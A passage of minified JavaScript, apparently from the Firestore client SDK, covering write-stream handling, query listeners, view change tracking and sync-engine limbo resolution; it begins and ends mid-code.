e,n,r,i,o;return(0,Zo.Jh)(this,function(s){switch(s.label){case 0:e=rh(t),n=Eb(e),r=e.kr.length>0?e.kr[e.kr.length-1].batchId:-1,s.label=1;case 1:if(!(hb(a=e)&&a.kr.length<10))return[3,7];s.label=2;case 2:return s.trys.push([2,4,,6]),[4,py(e.localStore,r)];case 3:return null===(i=s.sent())?(0===e.kr.length&&n.ir(),[3,7]):(r=i.batchId,function(t,e){t.kr.push(e);var n=Eb(t);n.er()&&n.pr&&n.Er(e.mutations)}(e,i),[3,6]);case 4:return o=s.sent(),[4,yb(e,o)];case 5:return s.sent(),[3,6];case 6:return[3,1];case 7:return _b(e)&&Cb(e),[2]}var a})})}function _b(t){return hb(t)&&!Eb(t).tr()&&t.kr.length>0}function Cb(t){Eb(t).start()}function wb(t){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){return Eb(t).Ar(),[2]})})}function xb(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e,n,r;return(0,Zo.Jh)(this,function(i){for(e=Eb(t),n=0,r=t.kr;n<r.length;n++)e.Er(r[n].mutations);return[2]})})}function Pb(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var r,i;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:return r=t.kr.shift(),i=em.from(r,e,n),[4,bb(t,function(){return t.remoteSyncer.applySuccessfulWrite(i)})];case 1:return o.sent(),[4,vb(t)];case 2:return o.sent(),[2]}})})}function Sb(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return e&&Eb(t).pr?[4,function(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:return pf(r=e.code)&&r!==Kd.ABORTED?(n=t.kr.shift(),Eb(t).sr(),[4,bb(t,function(){return t.remoteSyncer.rejectFailedWrite(n.batchId,e)})]):[3,3];case 1:return i.sent(),[4,vb(t)];case 2:i.sent(),i.label=3;case 3:return[2]}})})}(t,e)]:[3,2];case 1:n.sent(),n.label=2;case 2:return _b(t)&&Cb(t),[2]}})})}function Mb(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:return n=rh(t),e?(n.Or.delete(2),[4,ib(n)]):[3,2];case 1:return r.sent(),[3,5];case 2:return e?[3,4]:(n.Or.add(2),[4,ob(n)]);case 3:r.sent(),n.Br.set("Unknown"),r.label=4;case 4:r.label=5;case 5:return[2]}})})}function Ob(t){var e,n,r,i,o=this;return t.Ur||(t.Ur=(e=t.datastore,n=t.asyncQueue,r={Ii:fb.bind(null,t),Ri:gb.bind(null,t),_r:mb.bind(null,t)},(i=rh(e)).br(),new Jy(n,i.Hi,i.credentials,i.R,r)),t.Mr.push(function(e){return(0,Zo.mG)(o,void 0,void 0,function(){return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return e?(t.Ur.sr(),db(t)?ub(t):t.Br.set("Unknown"),[3,3]):[3,1];case 1:return[4,t.Ur.stop()];case 2:n.sent(),pb(t),n.label=3;case 3:return[2]}})})})),t.Ur}function Eb(t){var e,n,r,i,o=this;return t.Qr||(t.Qr=(e=t.datastore,n=t.asyncQueue,r={Ii:wb.bind(null,t),Ri:Sb.bind(null,t),Ir:xb.bind(null,t),Tr:Pb.bind(null,t)},(i=rh(e)).br(),new tb(n,i.Hi,i.credentials,i.R,r)),t.Mr.push(function(e){return(0,Zo.mG)(o,void 0,void 0,function(){return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return e?(t.Qr.sr(),[4,vb(t)]):[3,2];case 1:return n.sent(),[3,4];case 2:return[4,t.Qr.stop()];case 3:n.sent(),t.kr.length>0&&(Zd("RemoteStore","Stopping write stream with "+t.kr.length+" pending writes"),t.kr=[]),n.label=4;case 4:return[2]}})})})),t.Qr}var Tb=function(){function t(t,e,n,r,i){this.asyncQueue=t,this.timerId=e,this.targetTimeMs=n,this.op=r,this.removalCallback=i,this.deferred=new Hg,this.then=this.deferred.promise.then.bind(this.deferred.promise),this.deferred.promise.catch(function(t){})}return t.createAndSchedule=function(e,n,r,i,o){var s=new t(e,n,Date.now()+r,i,o);return s.start(r),s},t.prototype.start=function(t){var e=this;this.timerHandle=setTimeout(function(){return e.handleDelayElapsed()},t)},t.prototype.skipDelay=function(){return this.handleDelayElapsed()},t.prototype.cancel=function(t){null!==this.timerHandle&&(this.clearTimeout(),this.deferred.reject(new $d(Kd.CANCELLED,"Operation cancelled"+(t?": "+t:""))))},t.prototype.handleDelayElapsed=function(){var t=this;this.asyncQueue.enqueueAndForget(function(){return null!==t.timerHandle?(t.clearTimeout(),t.op().then(function(e){return t.deferred.resolve(e)})):Promise.resolve()})},t.prototype.clearTimeout=function(){null!==this.timerHandle&&(this.removalCallback(this),clearTimeout(this.timerHandle),this.timerHandle=null)},t}();function Ib(t,e){if(Yd("AsyncQueue",e+": "+t),Kg(t))return new $d(Kd.UNAVAILABLE,e+": "+t);throw t}var kb=function(){function t(t){this.comparator=t?function(e,n){return t(e,n)||Ih.comparator(e.key,n.key)}:function(t,e){return Ih.comparator(t.key,e.key)},this.keyedMap=xf(),this.sortedSet=new gf(this.comparator)}return t.emptySet=function(e){return new t(e.comparator)},t.prototype.has=function(t){return null!=this.keyedMap.get(t)},t.prototype.get=function(t){return this.keyedMap.get(t)},t.prototype.first=function(){return this.sortedSet.minKey()},t.prototype.last=function(){return this.sortedSet.maxKey()},t.prototype.isEmpty=function(){return this.sortedSet.isEmpty()},t.prototype.indexOf=function(t){var e=this.keyedMap.get(t);return e?this.sortedSet.indexOf(e):-1},Object.defineProperty(t.prototype,"size",{get:function(){return this.sortedSet.size},enumerable:!1,configurable:!0}),t.prototype.forEach=function(t){this.sortedSet.inorderTraversal(function(e,n){return t(e),!1})},t.prototype.add=function(t){var e=this.delete(t.key);return e.copy(e.keyedMap.insert(t.key,t),e.sortedSet.insert(t,null))},t.prototype.delete=function(t){var e=this.get(t);return e?this.copy(this.keyedMap.remove(t),this.sortedSet.remove(e)):this},t.prototype.isEqual=function(e){if(!(e instanceof t)||this.size!==e.size)return!1;for(var n=this.sortedSet.getIterator(),r=e.sortedSet.getIterator();n.hasNext();){var i=n.getNext().key,o=r.getNext().key;if(!i.isEqual(o))return!1}return!0},t.prototype.toString=function(){var t=[];return this.forEach(function(e){t.push(e.toString())}),0===t.length?"DocumentSet ()":"DocumentSet (\n "+t.join(" \n")+"\n)"},t.prototype.copy=function(e,n){var r=new t;return r.comparator=this.comparator,r.keyedMap=e,r.sortedSet=n,r},t}(),Ab=function(){function t(){this.Kr=new gf(Ih.comparator)}return t.prototype.track=function(t){var e=t.doc.key,n=this.Kr.get(e);n?0!==t.type&&3===n.type?this.Kr=this.Kr.insert(e,t):3===t.type&&1!==n.type?this.Kr=this.Kr.insert(e,{type:n.type,doc:t.doc}):2===t.type&&2===n.type?this.Kr=this.Kr.insert(e,{type:2,doc:t.doc}):2===t.type&&0===n.type?this.Kr=this.Kr.insert(e,{type:0,doc:t.doc}):1===t.type&&0===n.type?this.Kr=this.Kr.remove(e):1===t.type&&2===n.type?this.Kr=this.Kr.insert(e,{type:1,doc:n.doc}):0===t.type&&1===n.type?this.Kr=this.Kr.insert(e,{type:2,doc:t.doc}):eh():this.Kr=this.Kr.insert(e,t)},t.prototype.jr=function(){var t=[];return this.Kr.inorderTraversal(function(e,n){t.push(n)}),t},t}(),Db=function(){function t(t,e,n,r,i,o,s,a){this.query=t,this.docs=e,this.oldDocs=n,this.docChanges=r,this.mutatedKeys=i,this.fromCache=o,this.syncStateChanged=s,this.excludesMetadataChanges=a}return t.fromInitialDocuments=function(e,n,r,i){var o=[];return n.forEach(function(t){o.push({type:0,doc:t})}),new t(e,n,kb.emptySet(n),o,r,i,!0,!1)},Object.defineProperty(t.prototype,"hasPendingWrites",{get:function(){return!this.mutatedKeys.isEmpty()},enumerable:!1,configurable:!0}),t.prototype.isEqual=function(t){if(!(this.fromCache===t.fromCache&&this.syncStateChanged===t.syncStateChanged&&this.mutatedKeys.isEqual(t.mutatedKeys)&&Sp(this.query,t.query)&&this.docs.isEqual(t.docs)&&this.oldDocs.isEqual(t.oldDocs)))return!1;var e=this.docChanges,n=t.docChanges;if(e.length!==n.length)return!1;for(var r=0;r<e.length;r++)if(e[r].type!==n[r].type||!e[r].doc.isEqual(n[r].doc))return!1;return!0},t}(),Nb=function(){this.Wr=void 0,this.listeners=[]},Rb=function(){this.queries=new zm(function(t){return Mp(t)},Sp),this.onlineState="Unknown",this.Gr=new Set};function Lb(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i,o,s,a,c;return(0,Zo.Jh)(this,function(l){switch(l.label){case 0:if(n=rh(t),i=!1,(o=n.queries.get(r=e.query))||(i=!0,o=new Nb),!i)return[3,4];l.label=1;case 1:return l.trys.push([1,3,,4]),s=o,[4,n.onListen(r)];case 2:return s.Wr=l.sent(),[3,4];case 3:return a=l.sent(),c=Ib(a,"Initialization of query '"+Op(e.query)+"' failed"),[2,void e.onError(c)];case 4:return n.queries.set(r,o),o.listeners.push(e),e.zr(n.onlineState),o.Wr&&e.Hr(o.Wr)&&Bb(n),[2]}})})}function jb(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i,o,s;return(0,Zo.Jh)(this,function(a){return n=rh(t),i=!1,(o=n.queries.get(r=e.query))&&(s=o.listeners.indexOf(e))>=0&&(o.listeners.splice(s,1),i=0===o.listeners.length),i?[2,(n.queries.delete(r),n.onUnlisten(r))]:[2]})})}function Fb(t,e){for(var n=rh(t),r=!1,i=0,o=e;i<o.length;i++){var s=o[i],a=n.queries.get(s.query);if(a){for(var c=0,l=a.listeners;c<l.length;c++)l[c].Hr(s)&&(r=!0);a.Wr=s}}r&&Bb(n)}function Vb(t,e,n){var r=rh(t),i=r.queries.get(e);if(i)for(var o=0,s=i.listeners;o<s.length;o++)s[o].onError(n);r.queries.delete(e)}function Bb(t){t.Gr.forEach(function(t){t.next()})}var Hb=function(){function t(t,e,n){this.query=t,this.Jr=e,this.Yr=!1,this.Xr=null,this.onlineState="Unknown",this.options=n||{}}return t.prototype.Hr=function(t){if(!this.options.includeMetadataChanges){for(var e=[],n=0,r=t.docChanges;n<r.length;n++){var i=r[n];3!==i.type&&e.push(i)}t=new Db(t.query,t.docs,t.oldDocs,e,t.mutatedKeys,t.fromCache,t.syncStateChanged,!0)}var o=!1;return this.Yr?this.Zr(t)&&(this.Jr.next(t),o=!0):this.eo(t,this.onlineState)&&(this.no(t),o=!0),this.Xr=t,o},t.prototype.onError=function(t){this.Jr.error(t)},t.prototype.zr=function(t){this.onlineState=t;var e=!1;return this.Xr&&!this.Yr&&this.eo(this.Xr,t)&&(this.no(this.Xr),e=!0),e},t.prototype.eo=function(t,e){return!t.fromCache||!(this.options.so&&"Offline"!==e||t.docs.isEmpty()&&"Offline"!==e)},t.prototype.Zr=function(t){return t.docChanges.length>0||!!(t.syncStateChanged||this.Xr&&this.Xr.hasPendingWrites!==t.hasPendingWrites)&&!0===this.options.includeMetadataChanges},t.prototype.no=function(t){t=Db.fromInitialDocuments(t.query,t.docs,t.mutatedKeys,t.fromCache),this.Yr=!0,this.Jr.next(t)},t}(),zb=function(){function t(t,e){this.payload=t,this.byteLength=e}return t.prototype.io=function(){return"metadata"in this.payload},t}(),Gb=function(){function t(t){this.R=t}return t.prototype.qn=function(t){return Qf(this.R,t)},t.prototype.Un=function(t){return t.metadata.exists?eg(this.R,t.document,!1):Kh.newNoDocument(this.qn(t.metadata.name),this.Qn(t.metadata.readTime))},t.prototype.Qn=function(t){return qf(t)},t}();!function(){function t(t,e,n){this.ro=t,this.localStore=e,this.R=n,this.queries=[],this.documents=[],this.progress=function(t){return{taskState:"Running",documentsLoaded:0,bytesLoaded:0,totalDocuments:t.totalDocuments,totalBytes:t.totalBytes}}(t)}t.prototype.oo=function(t){this.progress.bytesLoaded+=t.byteLength;var e=this.progress.documentsLoaded;return t.payload.namedQuery?this.queries.push(t.payload.namedQuery):t.payload.documentMetadata?(this.documents.push({metadata:t.payload.documentMetadata}),t.payload.documentMetadata.exists||++e):t.payload.document&&(this.documents[this.documents.length-1].document=t.payload.document,++e),e!==this.progress.documentsLoaded?(this.progress.documentsLoaded=e,Object.assign({},this.progress)):null},t.prototype.co=function(t){for(var e=new Map,n=new Gb(this.R),r=0,i=t;r<i.length;r++){var o=i[r];if(o.metadata.queries)for(var s=n.qn(o.metadata.name),a=0,c=o.metadata.queries;a<c.length;a++){var l=c[a],u=(e.get(l)||Of()).add(s);e.set(l,u)}}return e},t.prototype.complete=function(){return(0,Zo.mG)(this,void 0,void 0,function(){var t,e,n,r,i;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:return[4,_y(this.localStore,new Gb(this.R),this.documents,this.ro.id)];case 1:t=o.sent(),e=this.co(this.documents),n=0,r=this.queries,o.label=2;case 2:return n<r.length?[4,Cy(this.localStore,i=r[n],e.get(i.name))]:[3,5];case 3:o.sent(),o.label=4;case 4:return n++,[3,2];case 5:return[2,(this.progress.taskState="Success",new ny(Object.assign({},this.progress),t))]}})})}}();var Ub=function(t){this.key=t},qb=function(t){this.key=t},Wb=function(){function t(t,e){this.query=t,this.uo=e,this.ao=null,this.current=!1,this.ho=Of(),this.mutatedKeys=Of(),this.lo=Tp(t),this.fo=new kb(this.lo)}return Object.defineProperty(t.prototype,"wo",{get:function(){return this.uo},enumerable:!1,configurable:!0}),t.prototype._o=function(t,e){var n=this,r=e?e.mo:new Ab,i=e?e.fo:this.fo,o=e?e.mutatedKeys:this.mutatedKeys,s=i,a=!1,c=yp(this.query)&&i.size===this.query.limit?i.last():null,l=bp(this.query)&&i.size===this.query.limit?i.first():null;if(t.inorderTraversal(function(t,e){var u=i.get(t),d=Ep(n.query,e)?e:null,h=!!u&&n.mutatedKeys.has(u.key),p=!!d&&(d.hasLocalMutations||n.mutatedKeys.has(d.key)&&d.hasCommittedMutations),f=!1;u&&d?u.data.isEqual(d.data)?h!==p&&(r.track({type:3,doc:d}),f=!0):n.yo(u,d)||(r.track({type:2,doc:d}),f=!0,(c&&n.lo(d,c)>0||l&&n.lo(d,l)<0)&&(a=!0)):!u&&d?(r.track({type:0,doc:d}),f=!0):u&&!d&&(r.track({type:1,doc:u}),f=!0,(c||l)&&(a=!0)),f&&(d?(s=s.add(d),o=p?o.add(t):o.delete(t)):(s=s.delete(t),o=o.delete(t)))}),yp(this.query)||bp(this.query))for(;s.size>this.query.limit;){var u=yp(this.query)?s.last():s.first();s=s.delete(u.key),o=o.delete(u.key),r.track({type:1,doc:u})}return{fo:s,mo:r,Nn:a,mutatedKeys:o}},t.prototype.yo=function(t,e){return t.hasLocalMutations&&e.hasCommittedMutations&&!e.hasLocalMutations},t.prototype.applyChanges=function(t,e,n){var r=this,i=this.fo;this.fo=t.fo,this.mutatedKeys=t.mutatedKeys;var o=t.mo.jr();o.sort(function(t,e){return n=e.type,(i=function(t){switch(t){case 0:return 1;case 2:case 3:return 2;case 1:return 0;default:return eh()}})(t.type)-i(n)||r.lo(t.doc,e.doc);var n,i}),this.po(n);var s=e?this.Eo():[],a=0===this.ho.size&&this.current?1:0,c=a!==this.ao;return this.ao=a,0!==o.length||c?{snapshot:new Db(this.query,t.fo,i,o,t.mutatedKeys,0===a,c,!1),To:s}:{To:s}},t.prototype.zr=function(t){return this.current&&"Offline"===t?(this.current=!1,this.applyChanges({fo:this.fo,mo:new Ab,mutatedKeys:this.mutatedKeys,Nn:!1},!1)):{To:[]}},t.prototype.Io=function(t){return!this.uo.has(t)&&!!this.fo.has(t)&&!this.fo.get(t).hasLocalMutations},t.prototype.po=function(t){var e=this;t&&(t.addedDocuments.forEach(function(t){return e.uo=e.uo.add(t)}),t.modifiedDocuments.forEach(function(t){}),t.removedDocuments.forEach(function(t){return e.uo=e.uo.delete(t)}),this.current=t.current)},t.prototype.Eo=function(){var t=this;if(!this.current)return[];var e=this.ho;this.ho=Of(),this.fo.forEach(function(e){t.Io(e.key)&&(t.ho=t.ho.add(e.key))});var n=[];return e.forEach(function(e){t.ho.has(e)||n.push(new qb(e))}),this.ho.forEach(function(t){e.has(t)||n.push(new Ub(t))}),n},t.prototype.Ao=function(t){this.uo=t.Bn,this.ho=Of();var e=this._o(t.documents);return this.applyChanges(e,!0)},t.prototype.Ro=function(){return Db.fromInitialDocuments(this.query,this.fo,this.mutatedKeys,0===this.ao)},t}(),Kb=function(t,e,n){this.query=t,this.targetId=e,this.view=n},$b=function(t){this.key=t,this.bo=!1},Qb=function(){function t(t,e,n,r,i,o){this.localStore=t,this.remoteStore=e,this.eventManager=n,this.sharedClientState=r,this.currentUser=i,this.maxConcurrentLimboResolutions=o,this.vo={},this.Po=new zm(function(t){return Mp(t)},Sp),this.Vo=new Map,this.So=new Set,this.Do=new gf(Ih.comparator),this.Co=new Map,this.No=new xy,this.xo={},this.Fo=new Map,this.ko=Im.Yt(),this.onlineState="Unknown",this.$o=void 0}return Object.defineProperty(t.prototype,"isPrimaryClient",{get:function(){return!0===this.$o},enumerable:!1,configurable:!0}),t}();function Xb(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i,o,s;return(0,Zo.Jh)(this,function(a){switch(a.label){case 0:return n=Sv(t),(i=n.Po.get(e))?(n.sharedClientState.addLocalQueryTarget(i.targetId),r=i.view.Ro(),[3,4]):[3,1];case 1:return[4,fy(n.localStore,xp(e))];case 2:return o=a.sent(),s=n.sharedClientState.addLocalQueryTarget(o.targetId),[4,Zb(n,e,o.targetId,"current"===s)];case 3:r=a.sent(),n.isPrimaryClient&&sb(n.remoteStore,o),a.label=4;case 4:return[2,r]}})})}function Zb(t,e,n,r){return(0,Zo.mG)(this,void 0,void 0,function(){var i,o,s,a,c,l;return(0,Zo.Jh)(this,function(u){switch(u.label){case 0:return t.Oo=function(e,n,r){return function(t,e,n,r){return(0,Zo.mG)(this,void 0,void 0,function(){var i,o,s;return(0,Zo.Jh)(this,function(a){switch(a.label){case 0:return(i=e.view._o(n)).Nn?[4,my(t.localStore,e.query,!1).then(function(t){return e.view._o(t.documents,i)})]:[3,2];case 1:i=a.sent(),a.label=2;case 2:return o=r&&r.targetChanges.get(e.targetId),s=e.view.applyChanges(i,t.isPrimaryClient,o),[2,(uv(t,e.targetId,s.To),s.snapshot)]}})})}(t,e,n,r)},[4,my(t.localStore,e,!0)];case 1:return i=u.sent(),o=new Wb(e,i.Bn),s=o._o(i.documents),a=kf.createSynthesizedTargetChangeForCurrentChange(n,r&&"Offline"!==t.onlineState),c=o.applyChanges(s,t.isPrimaryClient,a),uv(t,n,c.To),l=new Kb(e,n,o),[2,(t.Po.set(e,l),t.Vo.has(n)?t.Vo.get(n).push(e):t.Vo.set(n,[e]),c.snapshot)]}})})}function Yb(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:return n=rh(t),r=n.Po.get(e),(i=n.Vo.get(r.targetId)).length>1?[2,(n.Vo.set(r.targetId,i.filter(function(t){return!Sp(t,e)})),void n.Po.delete(e))]:n.isPrimaryClient?(n.sharedClientState.removeLocalQueryTarget(r.targetId),n.sharedClientState.isActiveQueryTarget(r.targetId)?[3,2]:[4,gy(n.localStore,r.targetId,!1).then(function(){n.sharedClientState.clearQueryState(r.targetId),ab(n.remoteStore,r.targetId),cv(n,r.targetId)}).catch(Rm)]):[3,3];case 1:o.sent(),o.label=2;case 2:return[3,5];case 3:return cv(n,r.targetId),[4,gy(n.localStore,r.targetId,!0)];case 4:o.sent(),o.label=5;case 5:return[2]}})})}function Jb(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var r,i,o,s;return(0,Zo.Jh)(this,function(a){switch(a.label){case 0:r=Mv(t),a.label=1;case 1:return a.trys.push([1,5,,6]),[4,(c=r.localStore,l=e,d=rh(c),h=lh.now(),p=l.reduce(function(t,e){return t.add(e.key)},Of()),d.persistence.runTransaction("Locally write mutations","readwrite",function(t){return d.Mn.pn(t,p).next(function(e){u=e;for(var n=[],r=0,i=l;r<i.length;r++){var o=i[r],s=Jp(o,u.get(o.key));null!=s&&n.push(new rf(o.key,s,Wh(s.value.mapValue),$p.exists(!0)))}return d._n.addMutationBatch(t,h,n,l)})}).then(function(t){return t.applyToLocalDocumentSet(u),{batchId:t.batchId,changes:u}}))];case 2:return i=a.sent(),r.sharedClientState.addPendingMutation(i.batchId),function(t,e,n){var r=t.xo[t.currentUser.toKey()];r||(r=new gf(sh)),r=r.insert(e,n),t.xo[t.currentUser.toKey()]=r}(r,i.batchId,n),[4,pv(r,i.changes)];case 3:return a.sent(),[4,vb(r.remoteStore)];case 4:return a.sent(),[3,6];case 5:return o=a.sent(),s=Ib(o,"Failed to persist write"),n.reject(s),[3,6];case 6:return[2]}var c,l,u,d,h,p})})}function tv(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:n=rh(t),i.label=1;case 1:return i.trys.push([1,4,,6]),[4,dy(n.localStore,e)];case 2:return r=i.sent(),e.targetChanges.forEach(function(t,e){var r=n.Co.get(e);r&&(nh(t.addedDocuments.size+t.modifiedDocuments.size+t.removedDocuments.size<=1),t.addedDocuments.size>0?r.bo=!0:t.modifiedDocuments.size>0?nh(r.bo):t.removedDocuments.size>0&&(nh(r.bo),r.bo=!1))}),[4,pv(n,r,e)];case 3:return i.sent(),[3,6];case 4:return[4,Rm(i.sent())];case 5:return i.sent(),[3,6];case 6:return[2]}})})}function ev(t,e,n){var r=rh(t);if(r.isPrimaryClient&&0===n||!r.isPrimaryClient&&1===n){var i=[];r.Po.forEach(function(t,n){var r=n.view.zr(e);r.snapshot&&i.push(r.snapshot)}),function(t,e){var n=rh(t);n.onlineState=e;var r=!1;n.queries.forEach(function(t,n){for(var i=0,o=n.listeners;i<o.length;i++)o[i].zr(e)&&(r=!0)}),r&&Bb(n)}(r.eventManager,e),i.length&&r.vo._r(i),r.onlineState=e,r.isPrimaryClient&&r.sharedClientState.setOnlineState(e)}}function nv(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var r,i,o,s,a,c;return(0,Zo.Jh)(this,function(l){switch(l.label){case 0:return(r=rh(t)).sharedClientState.updateQueryState(e,"rejected",n),i=r.Co.get(e),(o=i&&i.key)?(s=(s=new gf(Ih.comparator)).insert(o,Kh.newNoDocument(o,uh.min())),a=Of().add(o),c=new If(uh.min(),new Map,new bf(sh),s,a),[4,tv(r,c)]):[3,2];case 1:return l.sent(),r.Do=r.Do.remove(o),r.Co.delete(e),hv(r),[3,4];case 2:return[4,gy(r.localStore,e,!1).then(function(){return cv(r,e,n)}).catch(Rm)];case 3:l.sent(),l.label=4;case 4:return[2]}})})}function rv(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:n=rh(t),r=e.batch.batchId,o.label=1;case 1:return o.trys.push([1,4,,6]),[4,ly(n.localStore,e)];case 2:return i=o.sent(),av(n,r,null),sv(n,r),n.sharedClientState.updateMutationState(r,"acknowledged"),[4,pv(n,i)];case 3:return o.sent(),[3,6];case 4:return[4,Rm(o.sent())];case 5:return o.sent(),[3,6];case 6:return[2]}})})}function iv(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var r,i;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:r=rh(t),o.label=1;case 1:return o.trys.push([1,4,,6]),[4,(s=r.localStore,a=e,c=rh(s),c.persistence.runTransaction("Reject batch","readwrite-primary",function(t){var e;return c._n.lookupMutationBatch(t,a).next(function(n){return nh(null!==n),e=n.keys(),c._n.removeMutationBatch(t,n)}).next(function(){return c._n.performConsistencyCheck(t)}).next(function(){return c.Mn.pn(t,e)})}))];case 2:return i=o.sent(),av(r,e,n),sv(r,e),r.sharedClientState.updateMutationState(e,"rejected",n),[4,pv(r,i)];case 3:return o.sent(),[3,6];case 4:return[4,Rm(o.sent())];case 5:return o.sent(),[3,6];case 6:return[2]}var s,a,c})})}function ov(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i,o,s;return(0,Zo.Jh)(this,function(a){switch(a.label){case 0:hb((n=rh(t)).remoteStore)||Zd("SyncEngine","The network is disabled. The task returned by 'awaitPendingWrites()' will not complete until the network is enabled."),a.label=1;case 1:return a.trys.push([1,3,,4]),[4,(c=n.localStore,l=rh(c),l.persistence.runTransaction("Get highest unacknowledged batch id","readonly",function(t){return l._n.getHighestUnacknowledgedBatchId(t)}))];case 2:return-1===(r=a.sent())?[2,void e.resolve()]:((i=n.Fo.get(r)||[]).push(e),n.Fo.set(r,i),[3,4]);case 3:return o=a.sent(),s=Ib(o,"Initialization of waitForPendingWrites() operation failed"),e.reject(s),[3,4];case 4:return[2]}var c,l})})}function sv(t,e){(t.Fo.get(e)||[]).forEach(function(t){t.resolve()}),t.Fo.delete(e)}function av(t,e,n){var r=rh(t),i=r.xo[r.currentUser.toKey()];if(i){var o=i.get(e);o&&(n?o.reject(n):o.resolve(),i=i.remove(e)),r.xo[r.currentUser.toKey()]=i}}function cv(t,e,n){void 0===n&&(n=null),t.sharedClientState.removeLocalQueryTarget(e);for(var r=0,i=t.Vo.get(e);r<i.length;r++){var o=i[r];t.Po.delete(o),n&&t.vo.Mo(o,n)}t.Vo.delete(e),t.isPrimaryClient&&t.No.Zn(e).forEach(function(e){t.No.containsKey(e)||lv(t,e)})}function lv(t,e){t.So.delete(e.path.canonicalString());var n=t.Do.get(e);null!==n&&(ab(t.remoteStore,n),t.Do=t.Do.remove(e),t.Co.delete(n),hv(t))}function uv(t,e,n){for(var r=0,i=n;r<i.length;r++){var o=i[r];o instanceof Ub?(t.No.addReference(o.key,e),dv(t,o)):o instanceof qb?(Zd("SyncEngine","Document no longer in limbo: "+o.key),t.No.removeReference(o.key,e),t.No.containsKey(o.key)||lv(t,o.key)):eh()}}function dv(t,e){var n=e.key,r=n.path.canonicalString();t.Do.get(n)||t.So.has(r)||(Zd("SyncEngine","New document in limbo: "+n),t.So.add(r),hv(t))}function hv(t){for(;t.So.size>0&&t.Do.size<t.maxConcurrentLimboResolutions;){var e=t.So.values().next().value;t.So.delete(e);var n=new Ih(gh.fromString(e)),r=t.ko.next();t.Co.set(r,new $b(n)),t.Do=t.Do.insert(n,r),sb(t.remoteStore,new nm(xp(mp(n.path)),r,2,Wd.o))}}function pv(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var r,i,o,s;return(0,Zo.Jh)(this,function(a){switch(a.label){case 0:return r=rh(t),i=[],o=[],s=[],r.Po.isEmpty()?[3,3]:(r.Po.forEach(function(t,a){s.push(r.Oo(a,e,n).then(function(t){if(t){r.isPrimaryClient&&r.sharedClientState.updateQueryState(a.targetId,t.fromCache?"not-current":"current"),i.push(t);var e=iy.Pn(a.targetId,t);o.push(e)}}))}),[4,Promise.all(s)]);case 1:return a.sent(),r.vo._r(i),[4,function(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i,o,s,a,c,l;return(0,Zo.Jh)(this,function(u){switch(u.label){case 0:n=rh(t),u.label=1;case 1:return u.trys.push([1,3,,4]),[4,n.persistence.runTransaction("notifyLocalViewChanges","readwrite",function(t){return zg.forEach(e,function(e){return zg.forEach(e.bn,function(r){return n.persistence.referenceDelegate.addReference(t,e.targetId,r)}).next(function(){return zg.forEach(e.vn,function(r){return n.persistence.referenceDelegate.removeReference(t,e.targetId,r)})})})})];case 2:return u.sent(),[3,4];case 3:if(!Kg(r=u.sent()))throw r;return Zd("LocalStore","Failed to update sequence numbers: "+r),[3,4];case 4:for(i=0,o=e;i<o.length;i++)a=(s=o[i]).targetId,s.fromCache||(c=n.Fn.get(a),l=c.withLastLimboFreeSnapshotVersion(c.snapshotVersion),n.Fn=n.Fn.insert(a,l));return[2]}})})}(r.localStore,o)];case 2:a.sent(),a.label=3;case 3:return[2]}})})}function fv(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:return(n=rh(t)).currentUser.isEqual(e)?[3,3]:(Zd("SyncEngine","User change. New user:",e.toKey()),[4,cy(n.localStore,e)]);case 1:return r=i.sent(),n.currentUser=e,(o=n).Fo.forEach(function(t){t.forEach(function(t){t.reject(new $d(Kd.CANCELLED,"'waitForPendingWrites' promise is rejected due to a user change."))})}),o.Fo.clear(),n.sharedClientState.handleUserChange(e,r.removedBatchIds,r.addedBatchIds),[4,pv(n,r.Ln)];case 2:i.sent(),i.label=3;case 3:return[2]}var o})})}function gv(t,e){var n=rh(t),r=n.Co.get(e);if(r&&r.bo)return Of().add(r.key);var i=Of(),o=n.Vo.get(e);if(!o)return i;for(var s=0,a=o;s<a.length;s++){var c=n.Po.get(a[s]);i=i.unionWith(c.view.wo)}return i}function mv(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:return[4,my((n=rh(t)).localStore,e.query,!0)];case 1:return r=o.sent(),i=e.view.Ao(r),[2,(n.isPrimaryClient&&uv(n,e.targetId,i.To),i)]}})})}function yv(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){return[2,by((e=rh(t)).localStore).then(function(t){return pv(e,t)})]})})}function bv(t,e,n,r){return(0,Zo.mG)(this,void 0,void 0,function(){var i,o;return(0,Zo.Jh)(this,function(s){switch(s.label){case 0:return[4,(a=(i=rh(t)).localStore,c=e,l=rh(a),u=rh(l._n),l.persistence.runTransaction("Lookup mutation documents","readonly",function(t){return 